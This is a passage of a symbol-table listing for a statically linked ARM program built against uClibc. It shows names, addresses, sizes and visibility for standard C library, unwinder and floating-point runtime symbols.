__GI_execve	.symtab	0x12bb4	64	FUNC	<unknown>	HIDDEN	2
__GI_exit	.symtab	0x185b0	196	FUNC	<unknown>	HIDDEN	2
__GI_fclose	.symtab	0x13720	816	FUNC	<unknown>	HIDDEN	2
__GI_fcntl	.symtab	0x12a18	244	FUNC	<unknown>	HIDDEN	2
__GI_fflush_unlocked	.symtab	0x157e0	940	FUNC	<unknown>	HIDDEN	2
__GI_fgetc	.symtab	0x1b3d8	324	FUNC	<unknown>	HIDDEN	2
__GI_fgetc_unlocked	.symtab	0x1b51c	300	FUNC	<unknown>	HIDDEN	2
__GI_fgets	.symtab	0x15414	284	FUNC	<unknown>	HIDDEN	2
__GI_fgets_unlocked	.symtab	0x15b8c	160	FUNC	<unknown>	HIDDEN	2
__GI_fopen	.symtab	0x13a50	32	FUNC	<unknown>	HIDDEN	2
__GI_fork	.symtab	0x18de4	972	FUNC	<unknown>	HIDDEN	2
__GI_fprintf	.symtab	0x13ad4	48	FUNC	<unknown>	HIDDEN	2
__GI_fputs_unlocked	.symtab	0x15c2c	56	FUNC	<unknown>	HIDDEN	2
__GI_fseek	.symtab	0x1c67c	36	FUNC	<unknown>	HIDDEN	2
__GI_fseeko64	.symtab	0x1c6a0	448	FUNC	<unknown>	HIDDEN	2
__GI_fstat	.symtab	0x19cf0	100	FUNC	<unknown>	HIDDEN	2
__GI_fwrite_unlocked	.symtab	0x15c64	188	FUNC	<unknown>	HIDDEN	2
__GI_getc_unlocked	.symtab	0x1b51c	300	FUNC	<unknown>	HIDDEN	2
__GI_getdtablesize	.symtab	0x19df4	44	FUNC	<unknown>	HIDDEN	2
__GI_getegid	.symtab	0x19e20	20	FUNC	<unknown>	HIDDEN	2
__GI_geteuid	.symtab	0x19e34	20	FUNC	<unknown>	HIDDEN	2
__GI_getgid	.symtab	0x19e48	20	FUNC	<unknown>	HIDDEN	2
__GI_getpagesize	.symtab	0x19e5c	40	FUNC	<unknown>	HIDDEN	2
__GI_getpid	.symtab	0x191b0	72	FUNC	<unknown>	HIDDEN	2
__GI_getrlimit	.symtab	0x19e84	56	FUNC	<unknown>	HIDDEN	2
__GI_getsockname	.symtab	0x1645c	68	FUNC	<unknown>	HIDDEN	2
__GI_gettimeofday	.symtab	0x12c08	64	FUNC	<unknown>	HIDDEN	2
__GI_getuid	.symtab	0x19ebc	20	FUNC	<unknown>	HIDDEN	2
__GI_inet_addr	.symtab	0x16280	40	FUNC	<unknown>	HIDDEN	2
__GI_inet_aton	.symtab	0x1c008	248	FUNC	<unknown>	HIDDEN	2
__GI_initstate_r	.symtab	0x181b8	248	FUNC	<unknown>	HIDDEN	2
__GI_ioctl	.symtab	0x19ed0	224	FUNC	<unknown>	HIDDEN	2
__GI_isatty	.symtab	0x161e0	36	FUNC	<unknown>	HIDDEN	2
__GI_kill	.symtab	0x12c48	56	FUNC	<unknown>	HIDDEN	2
__GI_listen	.symtab	0x164e8	64	FUNC	<unknown>	HIDDEN	2
__GI_lseek64	.symtab	0x1cb80	112	FUNC	<unknown>	HIDDEN	2
__GI_memchr	.symtab	0x1baf0	240	FUNC	<unknown>	HIDDEN	2
__GI_memcpy	.symtab	0x15d20	4	FUNC	<unknown>	HIDDEN	2
__GI_memmove	.symtab	0x1bae0	4	FUNC	<unknown>	HIDDEN	2
__GI_mempcpy	.symtab	0x1bbe0	36	FUNC	<unknown>	HIDDEN	2
__GI_memrchr	.symtab	0x1bc04	224	FUNC	<unknown>	HIDDEN	2
__GI_memset	.symtab	0x15d30	156	FUNC	<unknown>	HIDDEN	2
__GI_mmap	.symtab	0x19c2c	124	FUNC	<unknown>	HIDDEN	2
__GI_mremap	.symtab	0x19fb0	68	FUNC	<unknown>	HIDDEN	2
__GI_munmap	.symtab	0x19ff4	64	FUNC	<unknown>	HIDDEN	2
__GI_nanosleep	.symtab	0x12cf8	96	FUNC	<unknown>	HIDDEN	2
__GI_open	.symtab	0x193e0	100	FUNC	<unknown>	HIDDEN	2
__GI_opendir	.symtab	0x13490	196	FUNC	<unknown>	HIDDEN	2
__GI_raise	.symtab	0x191f8	240	FUNC	<unknown>	HIDDEN	2
__GI_random	.symtab	0x17d90	164	FUNC	<unknown>	HIDDEN	2
__GI_random_r	.symtab	0x18050	144	FUNC	<unknown>	HIDDEN	2
__GI_rawmemchr	.symtab	0x1ca90	176	FUNC	<unknown>	HIDDEN	2
__GI_read	.symtab	0x19500	100	FUNC	<unknown>	HIDDEN	2
__GI_readdir	.symtab	0x13604	232	FUNC	<unknown>	HIDDEN	2
__GI_readdir64	.symtab	0x1a12c	236	FUNC	<unknown>	HIDDEN	2
__GI_readlink	.symtab	0x12d9c	64	FUNC	<unknown>	HIDDEN	2
__GI_recv	.symtab	0x1656c	112	FUNC	<unknown>	HIDDEN	2
__GI_recvfrom	.symtab	0x16624	136	FUNC	<unknown>	HIDDEN	2
__GI_remove	.symtab	0x13a70	100	FUNC	<unknown>	HIDDEN	2
__GI_rmdir	.symtab	0x1a034	64	FUNC	<unknown>	HIDDEN	2
__GI_sbrk	.symtab	0x1a074	108	FUNC	<unknown>	HIDDEN	2
__GI_select	.symtab	0x12e58	132	FUNC	<unknown>	HIDDEN	2
__GI_send	.symtab	0x166f0	112	FUNC	<unknown>	HIDDEN	2
__GI_sendto	.symtab	0x167ac	136	FUNC	<unknown>	HIDDEN	2
__GI_setsid	.symtab	0x12edc	64	FUNC	<unknown>	HIDDEN	2
__GI_setsockopt	.symtab	0x16834	72	FUNC	<unknown>	HIDDEN	2
__GI_setstate_r	.symtab	0x182b0	236	FUNC	<unknown>	HIDDEN	2
__GI_sigaction	.symtab	0x128e0	136	FUNC	<unknown>	HIDDEN	2
__GI_sigprocmask	.symtab	0x12f1c	140	FUNC	<unknown>	HIDDEN	2
__GI_snprintf	.symtab	0x13b04	48	FUNC	<unknown>	HIDDEN	2
__GI_socket	.symtab	0x1687c	68	FUNC	<unknown>	HIDDEN	2
__GI_sprintf	.symtab	0x13b34	52	FUNC	<unknown>	HIDDEN	2
__GI_srandom_r	.symtab	0x180e0	216	FUNC	<unknown>	HIDDEN	2
__GI_stat	.symtab	0x12fa8	100	FUNC	<unknown>	HIDDEN	2
__GI_strchr	.symtab	0x1bce4	240	FUNC	<unknown>	HIDDEN	2
__GI_strchrnul	.symtab	0x1bdd4	236	FUNC	<unknown>	HIDDEN	2
__GI_strcmp	.symtab	0x15dd0	28	FUNC	<unknown>	HIDDEN	2
__GI_strcoll	.symtab	0x15dd0	28	FUNC	<unknown>	HIDDEN	2
__GI_strcpy	.symtab	0x15e50	36	FUNC	<unknown>	HIDDEN	2
__GI_strcspn	.symtab	0x1bec0	68	FUNC	<unknown>	HIDDEN	2
__GI_strlen	.symtab	0x15df0	96	FUNC	<unknown>	HIDDEN	2
__GI_strnlen	.symtab	0x15e74	204	FUNC	<unknown>	HIDDEN	2
__GI_strpbrk	.symtab	0x1bfc8	64	FUNC	<unknown>	HIDDEN	2
__GI_strrchr	.symtab	0x15f40	80	FUNC	<unknown>	HIDDEN	2
__GI_strspn	.symtab	0x1bf04	76	FUNC	<unknown>	HIDDEN	2
__GI_strstr	.symtab	0x15f90	252	FUNC	<unknown>	HIDDEN	2
__GI_strtok	.symtab	0x161b0	48	FUNC	<unknown>	HIDDEN	2
__GI_strtok_r	.symtab	0x1bf50	120	FUNC	<unknown>	HIDDEN	2
__GI_strtol	.symtab	0x183bc	28	FUNC	<unknown>	HIDDEN	2
__GI_sysconf	.symtab	0x187c0	1572	FUNC	<unknown>	HIDDEN	2
__GI_tcgetattr	.symtab	0x16204	124	FUNC	<unknown>	HIDDEN	2
__GI_time	.symtab	0x1304c	48	FUNC	<unknown>	HIDDEN	2
__GI_times	.symtab	0x1a0e0	20	FUNC	<unknown>	HIDDEN	2
__GI_unlink	.symtab	0x1307c	64	FUNC	<unknown>	HIDDEN	2
__GI_vfprintf	.symtab	0x142ac	324	FUNC	<unknown>	HIDDEN	2
__GI_vsnprintf	.symtab	0x13b68	208	FUNC	<unknown>	HIDDEN	2
__GI_wait4	.symtab	0x1a0f4	56	FUNC	<unknown>	HIDDEN	2
__GI_waitpid	.symtab	0x130bc	124	FUNC	<unknown>	HIDDEN	2
__GI_wcrtomb	.symtab	0x1a5bc	84	FUNC	<unknown>	HIDDEN	2
__GI_wcsnrtombs	.symtab	0x1a634	188	FUNC	<unknown>	HIDDEN	2
__GI_wcsrtombs	.symtab	0x1a610	36	FUNC	<unknown>	HIDDEN	2
__GI_write	.symtab	0x19470	100	FUNC	<unknown>	HIDDEN	2
__JCR_END__	.symtab	0x2786c	0	OBJECT	<unknown>	DEFAULT	11
__JCR_LIST__	.symtab	0x2786c	0	OBJECT	<unknown>	DEFAULT	11
___Unwind_ForcedUnwind	.symtab	0x120e8	36	FUNC	<unknown>	HIDDEN	2
___Unwind_RaiseException	.symtab	0x1207c	36	FUNC	<unknown>	HIDDEN	2
___Unwind_Resume	.symtab	0x120a0	36	FUNC	<unknown>	HIDDEN	2
___Unwind_Resume_or_Rethrow	.symtab	0x120c4	36	FUNC	<unknown>	HIDDEN	2
__adddf3	.symtab	0x1cbfc	784	FUNC	<unknown>	HIDDEN	2
__aeabi_cdcmpeq	.symtab	0x1d558	24	FUNC	<unknown>	HIDDEN	2
__aeabi_cdcmple	.symtab	0x1d558	24	FUNC	<unknown>	HIDDEN	2
__aeabi_cdrcmple	.symtab	0x1d53c	52	FUNC	<unknown>	HIDDEN	2
__aeabi_d2uiz	.symtab	0x1d5e8	84	FUNC	<unknown>	HIDDEN	2
__aeabi_dadd	.symtab	0x1cbfc	784	FUNC	<unknown>	HIDDEN	2
__aeabi_dcmpeq	.symtab	0x1d570	24	FUNC	<unknown>	HIDDEN	2
__aeabi_dcmpge	.symtab	0x1d5b8	24	FUNC	<unknown>	HIDDEN	2
__aeabi_dcmpgt	.symtab	0x1d5d0	24	FUNC	<unknown>	HIDDEN	2
__aeabi_dcmple	.symtab	0x1d5a0	24	FUNC	<unknown>	HIDDEN	2
__aeabi_dcmplt	.symtab	0x1d588	24	FUNC	<unknown>	HIDDEN	2
__aeabi_ddiv	.symtab	0x1d29c	524	FUNC	<unknown>	HIDDEN	2
__aeabi_dmul	.symtab	0x1d00c	656	FUNC	<unknown>	HIDDEN	2
__aeabi_drsub	.symtab	0x1cbf0	0	FUNC	<unknown>	HIDDEN	2
__aeabi_dsub	.symtab	0x1cbf8	788	FUNC	<unknown>	HIDDEN	2
__aeabi_f2d	.symtab	0x1cf58	64	FUNC	<unknown>	HIDDEN	2
__aeabi_i2d	.symtab	0x1cf30	40	FUNC	<unknown>	HIDDEN	2
__aeabi_idiv	.symtab	0x1123c	0	FUNC	<unknown>	HIDDEN	2
__aeabi_idivmod	.symtab	0x11368	24	FUNC	<unknown>	HIDDEN	2
__aeabi_l2d	.symtab	0x1cfac	96	FUNC	<unknown>	HIDDEN	2
__aeabi_read_tp	.symtab	0x10360	8	FUNC	<unknown>	HIDDEN	2
__aeabi_ui2d	.symtab	0x1cf0c	36	FUNC	<unknown>	HIDDEN	2
__aeabi_uidiv	.symtab	0x11128	0	FUNC	<unknown>	HIDDEN	2
__aeabi_uidivmod	.symtab	0x11224	24	FUNC	<unknown>	HIDDEN	2
__aeabi_ul2d	.symtab	0x1cf98	116	FUNC	<unknown>	HIDDEN	2
__aeabi_unwind_cpp_pr0	.symtab	0x12048	8	FUNC	<unknown>	HIDDEN	2
__aeabi_unwind_cpp_pr1	.symtab	0x12040	8	FUNC	<unknown>	HIDDEN	2
__aeabi_unwind_cpp_pr2	.symtab	0x12038	8	FUNC	<unknown>	HIDDEN	2
__app_fini	.symtab	0x2e220	4	OBJECT	<unknown>	HIDDEN	14
__atexit_lock	.symtab	0x27bc8	24	OBJECT	<unknown>	DEFAULT	13
__bss_end__	.symtab	0x2ed10	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__bss_start	.symtab	0x27bf4	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__bss_start__	.symtab	0x27bf4	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__check_one_fd	.symtab	0x19794	84	FUNC	<unknown>	DEFAULT	2
__close	.symtab	0x19350	100	FUNC	<unknown>	DEFAULT	2
__close_nocancel	.symtab	0x19334	24	FUNC	<unknown>	DEFAULT	2
__cmpdf2	.symtab	0x1d4b8	132	FUNC	<unknown>	HIDDEN	2
__ctype_b	.symtab	0x27bf0	4	OBJECT	<unknown>	DEFAULT	13
__curbrk	.symtab	0x2e764	4	OBJECT	<unknown>	HIDDEN	14
__cxa_begin_cleanup	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__cxa_call_unexpected	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__cxa_type_match	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__data_start	.symtab	0x2791c	0	NOTYPE	<unknown>	DEFAULT	13
__default_rt_sa_restorer	.symtab	0x12978	0	FUNC	<unknown>	DEFAULT	2
__default_sa_restorer	.symtab	0x1296c	0	FUNC	<unknown>	DEFAULT	2
__deregister_frame_info	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__div0	.symtab	0x11380	20	FUNC	<unknown>	HIDDEN	2
__divdf3	.symtab	0x1d29c	524	FUNC	<unknown>	HIDDEN	2
__divsi3	.symtab	0x1123c	300	FUNC	<unknown>	HIDDEN	2
__do_global_dtors_aux	.symtab	0x80f0	0	FUNC	<unknown>	DEFAULT	2
__do_global_dtors_aux_fini_array_entry	.symtab	0x27868	0	OBJECT	<unknown>	DEFAULT	10
__end__	.symtab	0x2ed10	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__environ	.symtab	0x2e218	4	OBJECT	<unknown>	DEFAULT	14
__eqdf2	.symtab	0x1d4b8	132	FUNC	<unknown>	HIDDEN	2
__errno_location	.symtab	0x103bc	32	FUNC	<unknown>	DEFAULT	2
__exidx_end	.symtab	0x1f860	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__exidx_start	.symtab	0x1f6f0	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__exit_cleanup	.symtab	0x2dcc8	4	OBJECT	<unknown>	HIDDEN	14
__extendsfdf2	.symtab	0x1cf58	64	FUNC	<unknown>	HIDDEN	2
__fcntl_nocancel	.symtab	0x12980	152	FUNC	<unknown>	DEFAULT	2
__fgetc_unlocked	.symtab	0x1b51c	300	FUNC	<unknown>	DEFAULT	2
__fini_array_end	.symtab	0x2786c	0	NOTYPE	<unknown>	HIDDEN	10
__fini_array_start	.symtab	0x27868	0	NOTYPE	<unknown>	HIDDEN	10
__fixunsdfsi	.symtab	0x1d5e8	84	FUNC	<unknown>	HIDDEN	2
__floatdidf	.symtab	0x1cfac	96	FUNC	<unknown>	HIDDEN	2
__floatsidf	.symtab	0x1cf30	40	FUNC	<unknown>	HIDDEN	2
__floatundidf	.symtab	0x1cf98	116	FUNC	<unknown>	HIDDEN	2
__floatunsidf	.symtab	0x1cf0c	36	FUNC	<unknown>	HIDDEN	2
__fork	.symtab	0x10238	24	FUNC	<unknown>	DEFAULT	2
__fork_generation_pointer	.symtab	0x2ecdc	4	OBJECT	<unknown>	HIDDEN	14
__fork_handlers	.symtab	0x2ece0	4	OBJECT	<unknown>	HIDDEN	14
__fork_lock	.symtab	0x2dccc	4	OBJECT	<unknown>	HIDDEN	14
__frame_dummy_init_array_entry	.symtab	0x27864	0	OBJECT	<unknown>	DEFAULT	9
__gedf2	.symtab	0x1d4a8	148	FUNC	<unknown>	HIDDEN	2
__getdents	.symtab	0x19d54	160	FUNC	<unknown>	HIDDEN	2
__getdents64	.symtab	0x1c534	328	FUNC	<unknown>	HIDDEN	2
__getpagesize	.symtab	0x19e5c	40	FUNC	<unknown>	DEFAULT	2
__getpid	.symtab	0x191b0	72	FUNC	<unknown>	DEFAULT	2
__glibc_strerror_r	.symtab	0x1608c	24	FUNC	<unknown>	DEFAULT	2
__glibc_strerror_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__gnu_Unwind_Find_exidx	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__gnu_Unwind_ForcedUnwind	.symtab	0x117ec	28	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_RaiseException	.symtab	0x118d4	184	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Restore_VFP	.symtab	0x1206c	0	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Resume	.symtab	0x11868	108	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Resume_or_Rethrow	.symtab	0x1198c	32	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Save_VFP	.symtab	0x12074	0	FUNC	<unknown>	HIDDEN	2
__gnu_unwind_execute	.symtab	0x12150	1812	FUNC	<unknown>	HIDDEN	2
__gnu_unwind_frame	.symtab	0x12864	72	FUNC	<unknown>	HIDDEN	2
__gnu_unwind_pr_common	.symtab	0x11af0	1352	FUNC	<unknown>	DEFAULT	2
__gtdf2	.symtab	0x1d4a8	148	FUNC	<unknown>	HIDDEN	2
__h_errno_location	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__init_array_end	.symtab	0x27868	0	NOTYPE	<unknown>	HIDDEN	9
__init_array_start	.symtab	0x27864	0	NOTYPE	<unknown>	HIDDEN	9
__is_smp	.symtab	0x2e90c	4	OBJECT	<unknown>	HIDDEN	14
__ledf2	.symtab	0x1d4b0	140	FUNC	<unknown>	HIDDEN	2
__libc_accept	.symtab	0x162ec	116	FUNC	<unknown>	DEFAULT	2
__libc_close	.symtab	0x19350	100	FUNC	<unknown>	DEFAULT	2
__libc_connect	.symtab	0x163e8	116	FUNC	<unknown>	DEFAULT	2
__libc_disable_asynccancel	.symtab	0x19570	136	FUNC	<unknown>	HIDDEN	2
__libc_enable_asynccancel	.symtab	0x195f8	220	FUNC	<unknown>	HIDDEN	2
__libc_errno	.symtab	0x0	4	TLS	<unknown>	HIDDEN	8
__libc_fcntl	.symtab	0x12a18	244	FUNC	<unknown>	DEFAULT	2
__libc_fork	.symtab	0x18de4	972	FUNC	<unknown>	DEFAULT	2
__libc_h_errno	.symtab	0x4	4	TLS	<unknown>	HIDDEN	8
__libc_longjmp	.symtab	0x12c80	56	FUNC	<unknown>	DEFAULT	2
__libc_multiple_threads	.symtab	0x2ece4	4	OBJECT	<unknown>	HIDDEN	14
__libc_nanosleep	.symtab	0x12cf8	96	FUNC	<unknown>	DEFAULT	2
__libc_open	.symtab	0x193e0	100	FUNC	<unknown>	DEFAULT	2
__libc_read	.symtab	0x19500	100	FUNC	<unknown>	DEFAULT	2
__libc_recv	.symtab	0x1656c	112	FUNC	<unknown>	DEFAULT	2
__libc_recvfrom	.symtab	0x16624	136	FUNC	<unknown>	DEFAULT	2
__libc_select	.symtab	0x12e58	132	FUNC	<unknown>	DEFAULT	2
__libc_send	.symtab	0x166f0	112	FUNC	<unknown>	DEFAULT	2
__libc_sendto	.symtab	0x167ac	136	FUNC	<unknown>	DEFAULT	2
__libc_setup_tls	.symtab	0x1c204	560	FUNC	<unknown>	DEFAULT	2
__libc_sigaction	.symtab	0x128e0	136	FUNC	<unknown>	DEFAULT	2
__libc_siglongjmp	.symtab	0x12c80	56	FUNC	<unknown>	DEFAULT	2
__libc_stack_end	.symtab	0x2e214	4	OBJECT	<unknown>	DEFAULT	14
__libc_system	.symtab	0x10a7c	132	FUNC	<unknown>	DEFAULT	2
__libc_waitpid	.symtab	0x130bc	124	FUNC	<unknown>	DEFAULT	2
__libc_write	.symtab	0x19470	100	FUNC	<unknown>	DEFAULT	2
__lll_lock_wait	.symtab	0x10d2c	156	FUNC	<unknown>	HIDDEN	2
__lll_lock_wait_private	.symtab	0x10c94	152	FUNC	<unknown>	HIDDEN	2
__lll_timedlock_wait	.symtab	0x10ea0	304	FUNC	<unknown>	HIDDEN	2
__lll_timedwait_tid	.symtab	0x10dc8	216	FUNC	<unknown>	HIDDEN	2
__longjmp	.symtab	0x19cd4	20	FUNC	<unknown>	DEFAULT	2
__ltdf2	.symtab	0x1d4b0	140	FUNC	<unknown>	HIDDEN	2
__malloc_consolidate	.symtab	0x17820	436	FUNC	<unknown>	HIDDEN	2
__malloc_largebin_index	.symtab	0x168c0	120	FUNC	<unknown>	DEFAULT	2
__malloc_lock	.symtab	0x27aec	24	OBJECT	<unknown>	DEFAULT	13
__malloc_state	.symtab	0x2e964	888	OBJECT	<unknown>	DEFAULT	14
__malloc_trim	.symtab	0x17770	176	FUNC	<unknown>	DEFAULT	2
__muldf3	.symtab	0x1d00c	656	FUNC	<unknown>	HIDDEN	2
__nedf2	.symtab	0x1d4b8	132	FUNC	<unknown>	HIDDEN	2
__nptl_deallocate_tsd	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__nptl_nthreads	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__open	.symtab	0x193e0	100	FUNC	<unknown>	DEFAULT	2
__open_nocancel	.symtab	0x193c4	24	FUNC	<unknown>	DEFAULT	2
__pagesize	.symtab	0x2e21c	4	OBJECT	<unknown>	DEFAULT	14
__preinit_array_end	.symtab	0x27864	0	NOTYPE	<unknown>	HIDDEN	8
__preinit_array_start	.symtab	0x27864	0	NOTYPE	<unknown>	HIDDEN	8
__progname	.symtab	0x27be4	4	OBJECT	<unknown>	DEFAULT	13
__progname_full	.symtab	0x27be8	4	OBJECT	<unknown>	DEFAULT	13
__pthread_disable_asynccancel	.symtab	0x10fd8	136	FUNC	<unknown>	HIDDEN	2
__pthread_enable_asynccancel	.symtab	0x11060	200	FUNC	<unknown>	HIDDEN	2
__pthread_initialize_minimal	.symtab	0x1c434	12	FUNC	<unknown>	DEFAULT	2
__pthread_multiple_threads	.symtab	0x2e910	4	OBJECT	<unknown>	HIDDEN	14
__pthread_mutex_init	.symtab	0x196dc	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_lock	.symtab	0x196d4	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_trylock	.symtab	0x196d4	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_unlock	.symtab	0x196d4	8	FUNC	<unknown>	DEFAULT	2
__pthread_return_0	.symtab	0x196d4	8	FUNC	<unknown>	DEFAULT	2
__pthread_unwind	.symtab	0x10b04	84	FUNC	<unknown>	DEFAULT	2
__pthread_unwind_next	.symtab	0x10b58	16	FUNC	<unknown>	DEFAULT	2
__read	.symtab	0x19500	100	FUNC	<unknown>	DEFAULT	2
__read_nocancel	.symtab	0x194e4	24	FUNC	<unknown>	DEFAULT	2
__register_frame_info	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__restore_core_regs	.symtab	0x12050	28	FUNC	<unknown>	HIDDEN	2
__rtld_fini	.symtab	0x2e224	4	OBJECT	<unknown>	HIDDEN	14
__sigaction	.symtab	0x10370	76	FUNC	<unknown>	DEFAULT	2
__sigjmp_save	.symtab	0x1cb40	64	FUNC	<unknown>	HIDDEN	2
__sigsetjmp	.symtab	0x1c528	12	FUNC	<unknown>	DEFAULT	2
__stdin	.symtab	0x27a10	4	OBJECT	<unknown>	DEFAULT	13
__stdio_READ	.symtab	0x1c860	88	FUNC	<unknown>	HIDDEN	2
__stdio_WRITE	.symtab	0x1a6f0	220	FUNC	<unknown>	HIDDEN	2
__stdio_adjust_position	.symtab	0x1c8b8	200	FUNC	<unknown>	HIDDEN	2
__stdio_fwrite	.symtab	0x1a7cc	320	FUNC	<unknown>	HIDDEN	2
__stdio_rfill	.symtab	0x1c980	48	FUNC	<unknown>	HIDDEN	2
__stdio_seek	.symtab	0x1ca54	60	FUNC	<unknown>	HIDDEN	2
__stdio_trans2r_o	.symtab	0x1c9b0	164	FUNC	<unknown>	HIDDEN	2
__stdio_trans2w_o	.symtab	0x1a90c	220	FUNC	<unknown>	HIDDEN	2
__stdio_wcommit	.symtab	0x1427c	48	FUNC	<unknown>	HIDDEN	2
__stdout	.symtab	0x27a14	4	OBJECT	<unknown>	DEFAULT	13
__subdf3	.symtab	0x1cbf8	788	FUNC	<unknown>	HIDDEN	2
__sys_accept	.symtab	0x162a8	68	FUNC	<unknown>	DEFAULT	2
__sys_connect	.symtab	0x163a4	68	FUNC	<unknown>	DEFAULT	2
__sys_recv	.symtab	0x16528	68	FUNC	<unknown>	DEFAULT	2
__sys_recvfrom	.symtab	0x165dc	72	FUNC	<unknown>	DEFAULT	2
__sys_send	.symtab	0x166ac	68	FUNC	<unknown>	DEFAULT	2
__sys_sendto	.symtab	0x16760	76	FUNC	<unknown>	DEFAULT	2
__syscall_error	.symtab	0x19ca8	44	FUNC	<unknown>	HIDDEN	2
__syscall_error.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_fcntl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_nanosleep	.symtab	0x12cb8	64	FUNC	<unknown>	DEFAULT	2
__syscall_rt_sigaction	.symtab	0x12b0c	64	FUNC	<unknown>	DEFAULT	2
__syscall_rt_sigaction.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_select	.symtab	0x12e14	68	FUNC	<unknown>	DEFAULT	2
__tls_get_addr	.symtab	0x1c1e0	36	FUNC	<unknown>	DEFAULT	2
__uClibc_fini	.symtab	0x19718	124	FUNC	<unknown>	DEFAULT	2
__uClibc_init	.symtab	0x197e8	88	FUNC	<unknown>	DEFAULT	2
__uClibc_main	.symtab	0x19840	1004	FUNC	<unknown>	DEFAULT	2
__uClibc_main.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__uclibc_progname	.symtab	0x27be0	4	OBJECT	<unknown>	HIDDEN	13
__udivsi3	.symtab	0x11128	252	FUNC	<unknown>	HIDDEN	2
__write	.symtab	0x19470	100	FUNC	<unknown>	DEFAULT	2
__write_nocancel	.symtab	0x19454	24	FUNC	<unknown>	DEFAULT	2
__xpg_strerror_r	.symtab	0x160a4	268	FUNC	<unknown>	DEFAULT	2
__xpg_strerror_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__xstat32_conv	.symtab	0x13204	172	FUNC	<unknown>	HIDDEN	2
__xstat64_conv	.symtab	0x13138	204	FUNC	<unknown>	HIDDEN	2
_adjust_pos.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_bss_custom_printf_spec	.symtab	0x2dcb4	10	OBJECT	<unknown>	DEFAULT	14
_bss_end__	.symtab	0x2ed10	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_charpad	.symtab	0x143f0	84	FUNC	<unknown>	DEFAULT	2
_cs_funcs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_custom_printf_arginfo	.symtab	0x2e914	40	OBJECT	<unknown>	HIDDEN	14
_custom_printf_handler	.symtab	0x2e93c	40	OBJECT	<unknown>	HIDDEN	14
_custom_printf_spec	.symtab	0x27ae8	4	OBJECT	<unknown>	HIDDEN	13
_dl_aux_init	.symtab	0x1c440	56	FUNC	<unknown>	DEFAULT	2
_dl_nothread_init_static_tls	.symtab	0x1c478	88	FUNC	<unknown>	HIDDEN	2
_dl_phdr	.symtab	0x2ed08	4	OBJECT	<unknown>	DEFAULT	14
_dl_phnum	.symtab	0x2ed0c	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_dtv_gaps	.symtab	0x2ecfc	1	OBJECT	<unknown>	DEFAULT	14
_dl_tls_dtv_slotinfo_list	.symtab	0x2ecf8	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_generation	.symtab	0x2ed00	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_max_dtv_idx	.symtab	0x2ecf0	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_setup	.symtab	0x1c178	104	FUNC	<unknown>	DEFAULT	2
_dl_tls_static_align	.symtab	0x2ecec	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_static_nelem	.symtab	0x2ed04	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_static_size	.symtab	0x2ecf4	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_static_used	.symtab	0x2ece8	4	OBJECT	<unknown>	DEFAULT	14
_edata	.symtab	0x27bf4	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_end	.symtab	0x2ed10	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_exit	.symtab	0x12b4c	104	FUNC	<unknown>	DEFAULT	2
_exit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fini	.symtab	0x1d63c	0	FUNC	<unknown>	DEFAULT	3
_fixed_buffers	.symtab	0x2bcb4	8192	OBJECT	<unknown>	DEFAULT	14
_fopen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fp_out_narrow	.symtab	0x14444	132	FUNC	<unknown>	DEFAULT	2
_fpmaxtostr	.symtab	0x1abe4	2036	FUNC	<unknown>	HIDDEN	2
_fpmaxtostr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fwrite.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_init	.symtab	0x80d4	0	FUNC	<unknown>	DEFAULT	1
_load_inttype	.symtab	0x1a9e8	116	FUNC	<unknown>	HIDDEN	2
_load_inttype.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_longjmp	.symtab	0x12c80	56	FUNC	<unknown>	DEFAULT	2
_longjmp_unwind	.symtab	0x192e8	60	FUNC	<unknown>	DEFAULT	2
